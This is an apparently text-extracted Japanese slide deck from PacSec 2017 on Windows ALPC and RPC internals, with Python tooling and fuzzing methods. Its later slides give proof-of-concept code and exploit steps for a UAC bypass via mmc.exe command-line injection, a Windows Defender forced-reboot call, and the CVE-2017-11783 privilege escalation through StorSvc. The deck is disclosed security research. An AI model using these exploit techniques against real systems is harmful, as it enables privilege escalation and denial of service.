A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
ALPC-RPC内部への視点
Clément Rouault & Thomas Imbert PacSec
November 2017
A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
概要
ALPCRPCUAC高度な機能と脆弱性の調査CVE-2017-11783
A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
概要
1 はじめに
A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
どうしてこの話をすることになったか?
ユーザーアカウント制御(UAC)UACに興味を持っていた.見つけたAPIは ShellExecuteA のみUACを手動で発動するには?RPCでUACが発動するかもしれないことを知っていた ALPCがRPCを実行できることを知っていた
そうだ、RPC-over-ALPC を探そう!
A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
既存研究
発表LPC & ALPC Interfaces - Recon 2008 - Thomas GarnierAll about the ALPC, RPC, LPC, LRPC in your PC -Syscan 2014 - Alex IonescuALPC Fuzzing Toolkit - HITB 2014 - Ben Nagy
ツールRpcView (Jean-Marie Borello, Julien Boutet, JeremyBouetard, Yoanne Girardin)
A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
概要
2 ALPC
A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
概要
ALPCAdvanced Local Procedure Call ALPCポートでサーバーはリッスンそのポートにクライアントは接続
ALPC メッセージALPC メッセージは二つの部分で構成されているPORT_MESSAGE: メッセージのヘッダーとデータALPC_MESSAGE_ATTRIBUTES: 高度な機能の属性ヘッダーとデータ
A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
PORT_MESSAGE
0:000> dt -r combase!_PORT_MESSAGE+0x000 u1+0x000 s1+0x000 DataLength : Int2B // ヘッダーを含まないデータサイズ+0x002 TotalLength : Int2B // ヘッダー+データのサイズ
+0x000 Length : Uint4B+0x004 u2+0x000 s2+0x000 Type+0x002 DataInfoOffset
: Int2B // メッセージタイプ: Int2B
+0x000 ZeroInit : Uint4B0x008 ClientId : _CLIENT_ID+0x000 UniqueProcess : Ptr32 Void // クライアントの識別+0x004 UniqueThread : Ptr32 Void // クライアントの識別
+0x008 DoNotUseThisField : Float+0x010 MessageId : Uint4B // 返信用のメッセージID+0x014 ClientViewSize : Uint4B+0x014 CallbackId : Uint4B
A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
APIs
サーバーNtAlpcCreatePort
NtAlpcAcceptConnectPort
NtAlpcSendWaitReceivePort
TpCallbackSendAlpcMessageOnCompletion
rpcrt4.dllの利用
クライアントNtAlpcConnectPort
NtAlpcDisconnectPort
NtAlpcSendWaitReceivePort
A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
Python による実装import windows # https://github.com/hakril/PythonForWindowsdef alpc_server():
server = windows.alpc.AlpcServer(PORT_NAME)msg = server.recv() # 接続メッセージの待機assert msg.type & 0xfff == LPC_CONNECTION_REQUESTserver.accept_connection(msg)msg = server.recv() # 実際のメッセージの待機 print("[SERV] Received message: <{0}>".format(msg)) print("[SERV] Message data: <{0}>".format(msg.data))assert msg.type & 0xfff == LPC_REQUESTmsg.data = "REQUEST ’{0}’ DONE".format(msg.data) server.send(msg) # 同じMessageIdで返信
def alpc_client():client = windows.alpc.AlpcClient(PORT_NAME)print("[CLIENT] Connected: {0}".format(client))response = client.send_receive("Hello world !")print("[CLIENT] Response: <{0}>".format(response.data))
A view intoALPC-RPC
はじめに
ALPC
RPCRPC Bind
RPC call
EpMapper
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
概要
3 RPCRPC BindRPC callEpMapper
A view intoALPC-RPC
はじめに
ALPC
RPCRPC Bind
RPC call
EpMapper
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
概要
Remote Procedure Call
サーバー1つ以上のエンドポイント 1つ以上のインターフェース 各インタフェースはメソッドを持っている
エンドポイントncacn_ip_tcp: IP+portncacn_np: \pipe\my_endpointncalrpc: \RPC Control\my_alpc_port...
A view intoALPC-RPC
はじめに
ALPC
RPCRPC Bind
RPC call
EpMapper
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
RpcView
A view intoALPC-RPC
はじめに
ALPC
RPCRPC Bind
RPC call
EpMapper
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
RPC コールの流れ
A view intoALPC-RPC
はじめに
ALPC
RPCRPC Bind
RPC call
EpMapper
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
RpcBindRequest
class ALPC_RPC_BIND(ctypes.Structure):_pack_ = 1_fields_ = [
("request_type", gdef.DWORD),("UNK1", gdef.DWORD),("UNK2", gdef.DWORD),("target", gdef.RPC_IF_ID), # インターフェースのGUID + Version ("flags", gdef.DWORD), # NDR32 | NDR64 | ?? へのバインド("if_nb_ndr32", gdef.USHORT), # もしNDR32への番号であれば ("if_nb_ndr64", gdef.USHORT),("if_nb_unkn", gdef.USHORT),("PAD", gdef.USHORT),("register_multiple_syntax", gdef.DWORD),("use_flow",gdef.DWORD),("UNK5", gdef.DWORD),("maybe_flow_id", gdef.DWORD),("UNK7", gdef.DWORD),("some_context_id", gdef.DWORD),("UNK9", gdef.DWORD),
]
A view intoALPC-RPC
はじめに
ALPC
RPCRPC Bind
RPC call
EpMapper
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
最小のリクエストとレスポンスのビルド
リクエストreq = ALPC_RPC_BIND()req.request_type = gdef.RPC_REQUEST_TYPE_BINDreq.target = gdef.RPC_IF_ID(uuid, *syntaxversion)req.flags = gdef.BIND_IF_SYNTAX_NDR32req.if_nb_ndr32 = requested_if_nbreq.if_nb_ndr64 = 0req.if_nb_unkn = 0req.register_multiple_syntax = False
レスポンスALPC_RPC_BINDも同様request_type == RPC_RESPONSE_TYPE_BIND_OK(1)一部のフィールドは、サーバーによって実際に処理されたリクエストを反映するように変更される場合がある
A view intoALPC-RPC
はじめに
ALPC
RPCRPC Bind
RPC call
EpMapper
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
Rpcコール
class ALPC_RPC_CALL(ctypes.Structure):_pack_ = 1_fields_ = [
("request_type", gdef.DWORD),("UNK1", gdef.DWORD),("flags",gdef.DWORD),("request_id", gdef.DWORD),("if_nb", gdef.DWORD),("method_offset", gdef.DWORD),("UNK2", gdef.DWORD),("UNK3", gdef.DWORD),("UNK4", gdef.DWORD),("UNK5", gdef.DWORD),("UNK6", gdef.DWORD),("UNK7", gdef.DWORD),("UNK8", gdef.DWORD),("UNK9", gdef.DWORD),("UNK10", gdef.DWORD),("UNK11", gdef.DWORD),
]
A view intoALPC-RPC
はじめに
ALPC
RPCRPC Bind
RPC call
EpMapper
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
最小のRPCの呼び出しをビルド
req = ALPC_RPC_CALL()req.request_type = gdef.RPC_REQUEST_TYPE_CALLreq.flags = 0req.request_id = 0x11223344req.if_nb = interface_nbreq.method_offset = method_offsetreturn buffer(req)[:] + params
多くのフィールドはまだ識別されていないparams はメソッドのパラメータを整列する
A view intoALPC-RPC
はじめに
ALPC
RPCRPC Bind
RPC call
EpMapper
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
Network Data Representation (NDR)
Network Data Representation (NDR)"NDRの役割は、IDLデータ型のオクテットストリームへのマッピングを提供すること"
ドキュメント: http://pubs.opengroup.org/onlinepubs/9629399/chap14.htm
Microsoft Transfert Syntax71710533-BEBA-4937-8319-B5DBEF9CCC36 v1.0 NDR 8A885D04-1CEB-11C9-9FE8-08002B104860 v2.0 NDR64 B4537DA9-3D03-4F6B-B594-52B2874EE9D0 v1.0 ???
これを見つけたら教えてください :)
このプロジェクトのためにPythonでNDR32の一部を実装した
A view intoALPC-RPC
はじめに
ALPC
RPCRPC Bind
RPC call
EpMapper
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
RPCClient - 実装
import windows.rpcfrom windows.rpc import ndr
client = windows.rpc.RPCClient(r"\RPC Control\HelloRpc")iid = client.bind("41414141-4242-4343-4444-45464748494a")ndr_params = ndr.make_parameters([ndr.NdrLong] * 2)resp = client.call(iid, 1, ndr_params.pack([41414141, 1010101]))result = ndr.NdrLong.unpack(ndr.NdrStream(resp))print(result) # 42424242client.call(iid, 0, ndr.NdrUniqueCString.pack(
"Hello from Python !\x00"))iid2 = client.bind("99999999-9999-9999-9999-999999999999")client.call(iid2, 0, ndr.NdrCString.pack(
"Hello again from IF2 !\x00"))
A view intoALPC-RPC
はじめに
ALPC
RPCRPC Bind
RPC call
EpMapper
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
EpMapper ?
特定のインタフェースのエンドポイントを取得するにはどうすれば?
指定されたインタフェースのエンドポイントを一覧表示Alpc エンドポイント: \RPC Control\epmapper e1af8308-5d1f-11c9-91a4-08002b14a0fa v3.0Method 7: ept_map_auth
ept_map_auth parameters良く知られた PSID protocol tower
binary-formatのドキュメントエンドポイントプロトコルを説明するために使用http://pubs.opengroup.org/onlinepubs/9629399/apdxl.htm
EpMapper !
A view intoALPC-RPC
はじめに
ALPC
RPCRPC Bind
RPC call
EpMapper
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
EpMapper リクエストのサンプル
フルPythonで再実装された呼び出し>>> windows.rpc.find_alpc_endpoints("880fd55e-43b9-11e0-b1a8-cf4edfd72085",
nb_response=2)[UnpackTower(protseq=’ncalrpc’,
endpoint=bytearray(b’LRPC-b0cb073a897f2102a8’),address=None, object=<RPC_IF_ID "880FD55E-43B9-11E0-B1A8-CF4EDFD72085" (1, 0)>,syntax=<RPC_IF_ID "8A885D04-1CEB-11C9-9FE8-08002B104860" (2, 0)>),
UnpackTower(protseq=’ncalrpc’,endpoint=bytearray(b’OLE8C19EF53D4A32E3D54196ECDB935’),address=None, object=<RPC_IF_ID "880FD55E-43B9-11E0-B1A8-CF4EDFD72085" (1, 0)>,syntax=<RPC_IF_ID "8A885D04-1CEB-11C9-9FE8-08002B104860" (2, 0)>)]
>>> client = windows.rpc.find_alpc_endpoint_and_connect("be7f785e-0e3a-4ab7-91de-7e46e443be29", version=(0,0))
>>> client<windows.rpc.client.RPCClient object at 0x044EBE30>>>> client.alpc_client.port_name’\\RPC Control\\LRPC-de2d0664c8d8d755b2’
A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
概要
4 UAC
A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
RAiLaunchAdminProcess
インターフェースappinfo.dll
201ef99a-7fa0-444c-9399-19ba84f12a1a v2.0
Method 0: RAiLaunchAdminProcessrequest_tst = RaiLaunchAdminProcessParameters.pack(["C:\\windows\\system32\\mspaint.exe\x00", # アプリケーションパス "Yolo-Commandline Whatever\x00", # コマンドライン1, # UAC-リクエストフラグgdef.CREATE_UNICODE_ENVIRONMENT, # dwCreationFlags"\x00", # スタートディレクトリ"WinSta0\\Default\x00", # ステーション# スタートアップ情報 (None, # Title1, 2, 3, 4, 5, 6, 7, 1, # Startupinfo: dwX から dwFlags 5, # wShowWindow# Point: MonitorFromPointを使ったStartupInfo.hStdOutput のセットアップ(0, 0)),0x10010, #UACがフォーカスを奪えるかを知るためのウィンドウハンドル0xffffffff]) # UAC タイムアウト
A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
バグ
コマンドラインを完全に制御できた
信頼できるバイナリへUACをバイパス:g_lpAutoApproveEXEList
mmc.exeのための特別なケース .mscを解析してコマンドラインをパース
"," はパーサのために有効なコマンドラインの区切り文字
次のコマンドラインを作ることができる
XXX,wf.msc MY_BAD_MSCappinfo.dll は wf.msc をターゲットと思ってしまうmmc.exe は悪意のある MY_BAD_MSCをロードしてしまう
appinfo!AiIsEXESafeToAutoApprove
A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
バイパス
悪意のあるMSCからの実行ActiveX Controlから Flash object のMMC テンプレートを使用できるわずかな変更でjavascriptを実行できるJSの external.ExecuteShellCommand 関数
beerumpを用いた解説は以下にあるhttp://www.rump.beer/2017/slides/from_alpc_to_uac_bypass.pdf
これはUACのバイパスができるだけ。先に進んでいい?
A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査ALPC メッセージの機能ファジング結果
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
概要
ALPC メッセージの機能ファジング結果
5 高度な機能と脆弱性の調査
A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査ALPC メッセージの機能ファジング
結果
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
ALPC メッセージの属性の構造体
属性ヘッダの後ろに付加される構造体
A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査ALPC メッセージの機能ファジング
結果
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
ALPC メッセージの属性の用途
Security Security QoS オプション
View 共有メモリに送信されたデータ
Context メッセージコンテキスト (seq, ID)の提示
Handle オブジェクトハンドルの送信
Token トークンIDの提示
Direct 非同期完了のイベント
Work on behalf コンテナ偽装のチケット
A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査ALPC メッセージの機能ファジング
結果
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
ALPC ハンドルの属性の例
ファイルハンドルの共有
クライアント# 共有したいファイルを開くf = open("C:\\Windows\\System32\\rpcrt4.dll", ’rb’)# AlpcMessage は、割り当てられたすべての属性を初期化するmsg = windows.alpc.AlpcMessage()# ALPC_MESSAGE_HANDLE_ATTRIBUTEのセットアップmsg.handle_attribute.Flags = gdef.ALPC_HANDLEFLG_DUPLICATE_SAME_ACCESSmsg.handle_attribute.Handle = windows.utils.get_handle_from_file(f) msg.handle_attribute.ObjectType = 0 msg.handle_attribute.DesiredAccess = 0# ハンドルを有効に設定して送信msg.attributes.ValidAttributes |= gdef.ALPC_MESSAGE_HANDLE_ATTRIBUTEclient.send_receive(msg)
サーバー# サーバーは AlpcServermsg = server.recv()if msg.type & 0xfff == LPC_REQUEST:
if msg.handle_is_valid and msg.handle_attribute.Handle:print("Object type = <{0}>".format(msg.handle_attribute.ObjectType))print("Name = <{0}>".format(get_filename_from_handle(msg.handle_attribute.Handle)))
# Output:# Object type = <1># Name = <\Device\HarddiskVolume4\Windows\System32\rpcrt4.dll>
A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査ALPC メッセージの機能ファジング
結果
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
脆弱性の調査
手動リバースエンジニアリング (高度な機能とインターフェイスメソッド)シンプルな RPC MITM で (RPC デバッガ上に構築された)NDRデータストリーム上の変化を再現RPC コールと提示されているすべてのメソッドを再現
150以上の RPC インターフェースターゲット: 低レベルの整合性でアクセス可能な特権インターフェイスどのようにスケールする?
A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査ALPC メッセージの機能ファジング
結果
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
RPC の再現
RPC ランタイムは不正なNDRを拒否する 整列されたストリームは引数の型と一致しなければならない
1 epmapper または固定のALPCエンドポイント名を使用してインターフェイスに接続2 スレージェネレーターに基づいて呼び出し引数(正しい型と構造体)を生成3 整列され生成された引数で呼び出しを実行
4 任意の context_handle を返されたストリームから抽出(有効なcontext_handleを期待するメソッドをファジング)
A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査ALPC メッセージの機能ファジング
結果
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
RPC の再現例
カスタマイズされた RPCViewから生成されたインターフェースコード
from rpc_forge import *
# UUID 552d076a-cb29-4e44-8b6a-d15e59e2c0af VERSION 1.0 DLL iphlpsvc.dllinterface = Interface("552d076a-cb29-4e44-8b6a-d15e59e2c0af", (1,0), [
Method("IpTransitionProtocolApplyConfigChanges", 1, In(NdrByte)),Method("IpTransitionProtocolApplyConfigChangesEx", 1,
In(NdrByte),In(Range(0,65535) / NdrLong),In(SizeIs(2) / NdrCString)
),])
context_handles = set()method_number = interface.find_method_by_name("IpTransitionProtocolApplyConfigChangesEx")arg = interface.methods[method_number].forge_call(context_handles)arg’\x01PPP\x05\x00\x00\x00\x05\x00\x00\x00????\x00PPP’ # ’P’ はパディング interface.connect()res = interface.call(method_number, arg)res’\x00\x00\x00\x00\r\xf0\xad\xba’
RPCForge は、カンファレンス後にGitHubでリリースする予定です。
iphlpsvc.dllのインターフェイスの生成
A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査ALPC メッセージの機能ファジング
結果
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
見つかったバグの種類
一意のポインタのnull許容 (NULL Dereference)範囲属性なしのオフセットとして使用される入力パラメータ (Out Of Bound Access)同一プロセス内の異なるcontext_handle /インタフェースは strict として定義する必要がある/
type_strict_context_handle (型の混同)特権アクションを実行する前にクライアント特権をチェック(または偽装)する必要がある(ロジックバグ)
⇒サービスのDOS, システムの DOS (BSODCRITICAL_PROCESS_DIED) または権限昇格
A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査ALPC メッセージの機能ファジング結果
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
MS AV PoCの例
rpcrt4.dll は受信バッファ内のサーバーヒープメモリをリークする (NtAlpcSendWaitReceivePort)
Microsoft Antimalware Service - QueryVersion and ForcedReboot# 低い整合性への切り替えwindows.current_process.token.integrity = SECURITY_MANDATORY_LOW_RID#Windows Defenderの MpSvc.dllインターフェイスに接続してバインドMS_AV_ALPC = r"\RPC Control\IMpService77BDAF73-B396-481F-9042-AD358843EC24"client = windows.rpc.RPCClient(MS_AV_ALPC)iid = client.bind("c503f532-443a-4c69-8300-ccd1fbdb3839", version=(2,0))# ServerMpQueryEngineVersion 41を呼び出す(メソッド番号はバージョンによって異なる場合がある) print client.call(iid, 41, "")# ServerMpRpcForcedReboot 83を呼び出す (同じく)client.call(iid, 83, "\0"*4)
その後、再起動!
A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
概要
6 CVE-2017-11783
A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
共有メモリに着目
ALPC との共有メモリはどのように機能するか?任意の NCALRPC サーバーは使えるか?共有メモリからどのデータがフェッチされるか?クライアント/サーバにおける共有メモリ保護
リードオンリー / RW / RWX ?
A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
ALPC と共有メモリ
共有メモリがビューとしてALPCに存在する Alpc
Alpc View: NTAPIのリバースエンジニアリングntdll!NtAlpcCreatePortSection
ntdll!NtAlpcCreateSectionView
ntdll!NtAlpcSendWaitReceivePort
nt!AlpcpCaptureViewAttributent!AlpcpExposeViewAttribute
(リバースエンジニアリングした後)Alex Ionescuがすでに研究していたと知った
A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
論理エラー
Flag 0x40000 | SECURE_VIEW
Ntoskrnlntdll!NtAlpcCreatePortSection &nt!captureViewAttributeInternal
送信時にビュー (READ_ONLY) を保護
rpcrt4
ビューでのハンドルコールの要求NDR 逆シリアル化の前に、保護されたビューのデータはコピーされない
脆弱性カーネルは VirtualProtect のビューが再度READ_WRITE になることを保護しない
A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
仮説の検証
サーバーint Pouet(handle_t, const unsigned char* trololo){
std::cout << "Priting parameter: " << trololo << std::endl;std::cout << "Waiting 1 second" << std::endl;Sleep(1000);std::cout << "RE-Priting parameter: " << trololo << std::endl;return 42;
}
A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
セキュアなビューを使用したRPCコール
ポインタ引数が共有メモリを直接指している
0:005> u eip L1Example1ExplicitServer!Pouet0139a1d0 55 push ebp0:005> da poi(trololo)00a5000c "My First Message"0:005> !address 00a5000c
Usage: MappedFileBase Address: 00a50000End Address: 00a51000State: 00001000 MEM_COMMITProtect: 00000004 PAGE_READWRITEType: 00040000 MEM_MAPPEDMapped file name: PageFile
0:005> dc 00a5000000a50000 00000011 00000000 00000011 4620794d ............My F00a50010 74737269 73654d20 65676173 50505000 irst Message.PPP00a50020 00000000 00000000 00000000 00000000 ................
A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
仮説の検証import windows.rpcfrom windows.rpc import ndrimport windows.generated_def as gdef
client = windows.rpc.RPCClient(r"\RPC Control\HelloRpc")iid = client.bind("99999999-9999-9999-9999-999999999999")cur_proc = windows.current_process
# セクションの作成section = client.alpc_client.create_port_section(0x40000, 0, 0x1000)view = client.alpc_client.map_section(section[0], 0x1000)# コールの偽装IF_NUMBER = client.if_bind_number[hash(buffer(iid)[:])]call_req = client._forge_call_request(IF_NUMBER, 2, "")# パラメータのNDRをパックparams = ndr.NdrCString.pack("My First Message\x00")# ビューを含む新しいメッセージp = windows.alpc.AlpcMessage(0x2000)p.port_message.data = call_req + ndr.NdrLong.pack(len(params) + 0x200) + "\x00" * 40p.attributes.ValidAttributes |= gdef.ALPC_MESSAGE_VIEW_ATTRIBUTE p.view_attribute.Flags = 0x40000p.view_attribute.ViewBase = view.ViewBasep.view_attribute.SectionHandle = view.SectionHandlep.view_attribute.ViewSize = len(params)cur_proc.write_memory(view.ViewBase, params) #NDR をビューに書き込む
client.alpc_client.send(p)
cur_proc.virtual_protect(view.ViewBase, 0x1000, gdef.PAGE_READWRITE, None)import time; time.sleep(0.5)cur_proc.write_memory(view.ViewBase + 3*4, "VULNERABLE !\x00")
A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
仮説の検証 - 2
サーバーint Pouet(handle_t, const unsigned char* trololo){
std::cout << "Priting parameter: " << trololo << std::endl;std::cout << "Waiting 1 second" << std::endl;Sleep(1000);std::cout << "RE-Priting parameter: " << trololo << std::endl;return 42;
}
結果!
TOCTOU をトリガーしてダブルフェッチする
A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
ターゲットの発見
ターゲット StorSvcbe7f785e-0e3a-4ab7-91de-7e46e443be29 v0.0メソッド 14: SvcMoveFileInheritSecurity
擬似コードRPC_STATUS SvcMoveFileInheritSecurity(handle_t AutoBindingHandle, wchar_t *OldFileName,
wchar_t *NewFileName, DWORD Flags){
if ( RpcImpersonateClient(0) == RPC_S_OK ){
if ( MoveFileExW(OldFileName, NewFileName, Flags) ){
RpcRevertToSelf();if ( InitializeAcl(&pAcl, 8, 2) ){
if ( SetNamedSecurityInfoW(NewFileName, /*[...]*/) != ERROR_SUCCESS )MoveFileExW(NewFileName, OldFileName, Flags);
}// [...]
最後の MoveFileExW は NT Authority\SYSTEMとして実行される
A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
エクスプロイト
要件脆弱な MoveFileEx にリーチ
最初にMoveFileEx が成功する必要がある NamedSecurityInfoW は失敗する必要がある
レースに勝つ: 2つのMoveFileの間でパラメータを変更する
ステップ%LocalAppData%\Lowのファイルsrc、dst、new_srcのセットアップ
oplockを使用してコピー先ファイル(dst)をロックする SvcMove(src, dst, MOVEFILE_REPLACE_EXISTING)をコール
ロックのコールバックがトリガされるとき関数のパラメータを変更する(共有メモリ)dst ⇒ new_src & src ⇒ new_dst
new_srcのACLのシステムへの WRITE_DAC を削除する
SYSTEMとしてMoveFileEx(new_src, new_dst) を実行
A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
デモ
DEMO TIME !
A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
概要
7 まとめ
A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
まとめ
複雑なテーマRPC サーバーはカスタムのクライアントを待ち受けるまだ多くの作業が必要です我々のオープンソースの実装は、他の人がこのトピックに取り組むことを支援するMicrosoftの迅速な対応と修正に感謝
A view intoALPC-RPC
はじめに
ALPC
RPC
UAC
高度な機能と脆弱性の調査
CVE-2017-11783
まとめ
Clément Rouault& Thomas Imbert
PacSec
質問?
ご清聴ありがとうございました
https://github.com/hakril/PythonForWindowshttps://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11783
@hakril@masthoon